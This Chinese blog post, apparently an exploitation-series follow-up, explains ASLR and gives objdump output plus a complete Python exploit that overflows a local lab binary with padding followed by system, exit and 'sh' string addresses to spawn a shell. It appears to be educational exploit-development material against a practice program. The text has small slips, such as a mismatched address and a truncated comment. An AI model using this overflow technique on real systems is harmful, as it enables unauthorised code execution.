绕过ASLR - 第一部分
什么是 ASLR?
地址空间布局随机化(ASLR)是随机化的利用缓解技术:
堆栈地址
堆地址
共享库地址
一旦上述地址被随机化,特别是当共享库地址被随机化时,我们采取的绕过NX bit的方法不会生效,因为攻击者需要知道libc基地址。但这种缓解技术并不完全是万无一失的,因此在这篇文章中我们可以看到如何绕过共享库地址随机化!
原文地址:https://bbs.pediy.com/thread-217107.htm
也许已经有人发现了,这个系列没有系列五……其实是五太麻烦了,限制太多,不太好写,所以就没有了,也许以后会有
这个绕过ASLR的技巧非常有效,作者和译者也讲的非常清楚,改起来也非常清晰,唯一有点困难的地方,就是所谓的system_arg的地址的获取,这里作者说的比较模糊,第四和第五中也有同样的问题,我结合我的调试来说一下。
其实作者在之前的exp.py中是有提到的,这里的system_arg,其实需要的是环境变量sh的字符串,也就是“sh”字符串的地址。在我们这里,使用objdump可以获得
jourluohua@jourluohua-virtual-machine:~/work/test6$ objdump -s vuln | grep sh Contents of section .gnu.hash: 8048598 03000000 01000200 2f62696e 2f736800 ......../bin/sh. 0080 63746f72 00617267 63007368 6f727420 ctor.argc.short 00c0 69740073 686f7274 20696e74 0073697a it.short int.siz 00d0 65747970 65007368 656c6c00 etype.shell.
我们使用第一个地址,也就是所谓的0x8048698后边这一串。这个代表从0x8048598开始的字符串,因此“s”的地址是0x8048598+12+1=0x80485a5
将这个地址和disassemble获得的system和exit地址都填进去,就可以获得成功了。
老规矩,附上我的exp.py代码:
1 #exp.py 2 #!/usr/bin/env python 3 import struct 4 from subprocess import call 5 system = 0x8048370 6 exit = 0x8048390 7 system_arg = 0x80485a5 #Obtained from hexdump output of e$ 8 #endianess convertion 9 def conv(num): 10 return struct.pack("<I",num)#ystem + exit + system_arg 11 buf = "A" * 272 12 buf += conv(system) 13 buf += conv(exit) 14 buf += conv(system_arg) 15 print "Calling vulnerable program" 16 call(["./vuln", buf])